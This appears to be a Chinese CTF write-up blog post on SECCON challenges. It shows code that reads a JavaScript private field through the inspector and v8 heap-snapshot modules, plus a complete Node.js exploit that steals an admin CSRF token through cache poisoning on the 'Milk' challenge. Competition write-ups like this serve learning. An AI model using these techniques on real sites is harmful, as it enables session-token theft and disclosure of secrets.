Author:颖奇L’Amore

Blog:www.gem-love.com


Beginner’s Capsule

solved by [email protected]

题目是TS写的,给了Docker (tar.gz格式)

可以任意执行命令,根据给的这段代码来看我们要读flag,但是flag是个PR,是不能从外界访问的

源码没有什么有用的东西,写的基本都是在容器里执行ts

由于ts是先compile为js再执行的,而js并不支持#开头私有属性这种语法,那么JS中就肯定有一种东西来支持TS的私有属性

实际上对于TS的私有属性,在编译为JavaScript后使用_classPrivateFieldSet_classPrivateFieldGet函数来赋值,函数中接收的privateMap参数则是一个WeakMap的实例,参考这个

当然我们可以通过tsc命令手工将TypeScript编译为JavaScript,来看一下编译后的结果

基本上和样例一样,主要是_flagWeakMap的一个实例,查询WeakMap文档发现他其实只是一个键值对的集合,可以通过get方法获取一个键的值,所以答案就呼之欲出了

Capsule

代码基本没区别

const fs = require('fs');

const {enableSeccompFilter} = require('./lib.js');

class Flag {
  #flag;
  constructor(flag) {
    this.#flag = flag;
  }
}

const flag = new Flag(fs.readFileSync('flag.txt').toString());
fs.unlinkSync('flag.txt');

enableSeccompFilter();

只是换成了直接执行js

这里有一个issue显示,可以使用inspector模块来获得私有变量,并且这是一个内置模块意味着我们可以在无法npm i时直接调用

但是直接使用它来读取flag会得到:

private properties undefined

需要先把flag加入global才可以读取

global.flag = flag;
const inspector = require('inspector');
const session = new inspector.Session();
session.connect();
session.post('Runtime.evaluate', { expression: `flag` },
  (error, { result }) => {
    session.post('Runtime.getProperties', { objectId: result.objectId },
      (error, { privateProperties }) => {
        console.log('private properties', privateProperties);
      });
  });

非预期1

其实这个题还蛮简单的,比如直接劫持require函数。。。。。

思路类似今年DEFCON Final的那个拼图题,利用报错拿到flag

非预期2

注意到题目代码的最后一句,它用来禁止从/proc/self/mem中读取内存

enableSeccompFilter();

但是可以利用第三方库读内存,比如v8模块的getHeapSnapshot()

const v8 = require('v8');
const memory = v8.getHeapSnapshot().read();
const index = memory.indexOf('SEC'+'CON');
const len = memory.slice(index).indexOf('}');
const flagBuffer = memory.slice(index, index + len + 1);
console.log(flagBuffer.toString());

Milk

表面上是一个XSS,但实际上是个缓存污染攻击

题目有两个域,分别是milk和milk-api,milk域是一个Note App,能够注册、登录、写笔记、提交给管理员访问,这些操作大部分通过api来操作。给了源码

看api的源码,首先可以看到它使用的是token来做认证:

// CSRF Token validation
router.use(async (ctx, next) => {
  const tokenString = ctx.request.url.searchParams.get('token') || '';
  const token = await Tokens.findOne({token: tokenString});
  if (!token) {
    ctx.response.body = 'Bad CSRF token';
    ctx.response.status = 400;
    return;
  }
  if (token.username === '') {
    ctx.response.status = 403;
    return;
  }

  await Tokens.deleteOne({_id: token._id});

  ctx.state.user = (await Users.findOne({username: token.username}))!;

  await next();
});

管理员访问/flag路由即可得到flag:

router.get('/flag', async (ctx) => {
  if (!ctx.state.user.admin) {
    ctx.response.body = 'Flag is the privilege available only from admin, right?';
    ctx.response.status = 403;
    return;
  }

  ctx.response.body = Deno.env.get('FLAG');
});

所以本题目要做的是获取管理员的token。一开始我以为是xss题目,但是因为有CSP绕不过,csrftoken的jsonp也不是任意可控的

Content-Security-Policy: default-src 'none'; base-uri 'none'; style-src * 'unsafe-inline'; font-src *; connect-src https://milk-api.chal.seccon.jp; script-src 'self' https://milk-api.chal.seccon.jp https://code.jquery.com/jquery-3.5.1.min.js 'sha256-xynbUFfxov/jB5OqYtvdEP/YBByczVOIsuEomUHxc0U=';

这题的难点在于token一旦被使用就被删除了,所以我们要想办法组织这个token被使用,这样攻击者才有机会去利用这个token伪造管理员。

注意到在note.php中

<script src=https://milk-api.chal.seccon.jp/csrf-token?_=<?= htmlspecialchars(preg_replace('/\d/', '', $_GET['_'])) ?> defer></script>
<script src=/index.js></script>
<script>
  csrfTokenCallback = async (token) => {
    window.csrfTokenCallback = null;
    const paths = location.pathname.split('/');

    const data = await $.get({
      url: 'https://milk-api.chal.seccon.jp/notes/get',
      data: {id: paths[paths.length - 1], token},
      xhrFields: {
        withCredentials: true,
      },
    });

    document.getElementById('username').textContent = data.note.username;
    document.getElementById('body').textContent = data.note.body;

    document.querySelector('[name=url]').value = location.href;
  };
</script>

api的csrf_token是一个jsonp调用csrfTokenCallback(),一旦调用了这个函数就会AJAX请求api的/notes/get路由去获取note的内容,一旦去访问notes/get,就会先经过router.use(),token就被删除了,所以要在拿到token的同时组织这个回调。

这里有许多种解法,关于非预期解法请直接看出题人写的文档,但基本都是利用缓存污染攻击,只是如何阻止token被删除的方法多种多样。

域名后面加上一个点儿,https://milk.chal.seccon.jp./,注意这最后加了一个. 但是浏览器访问它依然可以访问,DNS解析正常,NGINX认为它和正常域名的hostname没有区别。但是对于CORS Policy就不一样了,这两个域名被认为是跨域的,正好CSP的connect-src只指定了正常域名,故而如果Blocked By CORS那么就可以阻止回调了。

但是利用<script src=>去Bypass CORS是XSS的一个常用策略,因为script的引用不遵循CORS,但是现在我们想要他遵循,所以要手工给它一个参数,可以利用 crossorigin="use-credentials"

现在来从头理一下攻击的思路:

  • 首先因为nginx服务器缓存了api的所有请求,当我们把一个url提交给管理员访问时,nginx就缓存了管理员的CSRF Token
  • 然后因为我们提交的URL是精心构造的,jsonp回调没有执行,就没有访问/note/get路由,token就还没有被删除
  • 现在我们可以通过_参数传入与“note页面的script标签的src引用发起一个jsonp请求到api的csrf_token页面是的_参数”一样的值给csrf_token来获得管理员的token(因为缓存)
  • 拿到了管理员token,伪造管理员去拿flag

exp:

const Axios = require('axios');
const qs = require('querystring');
const https = require('https');

const random = Array(10).fill().map(() => 'abcdefg'[Math.floor(Math.random() * 6)]).join('');

(async () => {
  const axios = Axios.create({
    httpsAgent: new https.Agent({
      rejectUnauthorized: false,
    }),
  });

  const {data: reportResult} = await axios({
    method: 'POST',
    url: 'https://milk.chal.seccon.jp/report',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded',
    },
    data: qs.stringify({
      url: `https://milk.chal.seccon.jp./note.php?${qs.stringify({
        id: 'hoge',
        _: `${random} crossorigin=use-credentials`,
      })}`
    }),
  });
  // console.log(reportResult);

  await new Promise((resolve) => setTimeout(resolve, 10000));

  const {data: csrfTokenJsonp} = await axios.get('https://milk-api.chal.seccon.jp/csrf-token', {
    params: {
      _: random,
    },
  });

  const csrfToken = csrfTokenJsonp.match(/'(.+?)'/)[1];
  // console.log(csrfToken);

  const {data: flag} = await axios.get('https://milk-api.chal.seccon.jp/notes/flag', {
    params: {
      token: csrfToken,
    },
    headers: {
      Referer: 'https://milk.chal.seccon.jp/',
    },
  });

  console.log(flag);
})();

还有个Milk Revenge,但实际上并没有很revenge,很多解法都是通杀这俩题


References 

https://hackmd.io/@hakatashi/ryLh2okDD

https://gist.github.com/po6ix/4af76691ea379957f9e8d68e002ec123

https://hackmd.io/@hakatashi/S15X3c1wv

https://diary.shift-js.info/seccon-online-pasta/

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2641.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image